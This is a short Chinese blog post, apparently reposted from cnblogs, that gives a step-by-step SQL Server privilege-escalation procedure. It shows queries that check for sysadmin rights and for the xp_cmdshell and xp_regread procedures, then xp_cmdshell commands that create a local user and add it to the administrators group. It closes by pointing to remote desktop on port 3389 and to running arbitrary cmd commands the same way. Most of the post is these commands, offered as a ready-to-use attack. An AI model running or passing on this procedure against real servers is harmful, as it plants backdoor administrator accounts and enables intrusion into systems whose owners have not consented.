[提權禁區] SQL語句利用xp_cmdshell獲取許可權

weixin_34023982發表於2016-03-27

判斷許可權是不是sa

select is_srvrolemember('sysadmin')

返回是1說明是sa



判斷xp_cmdshell擴充套件儲存是否存在

select count(*) from master.dbo.sysobjects where xtype = 'x' AND name= 'xp_cmdshell'

返回為l則證明存在



判斷xp_regread擴充套件儲存過程是否存在

select count(*) from master.dbo.sysobjects where name='xp_regread'

返回1證明存在



新增使用者

exec master..xp_cmdshell 'net user test test /add'

exec master..xp_cmdshell 'net localgroup administrators test /add'



後來就是檢視3389埠了,

exec master..xp_cmdshell 'XXXXX'裡面輸入cmd命令就是了

文中資料引用:http://www.wooyun.org/bugs/wooyun-2010-037806

 

轉載於:https://www.cnblogs.com/vincebye/p/5925349.html

相關文章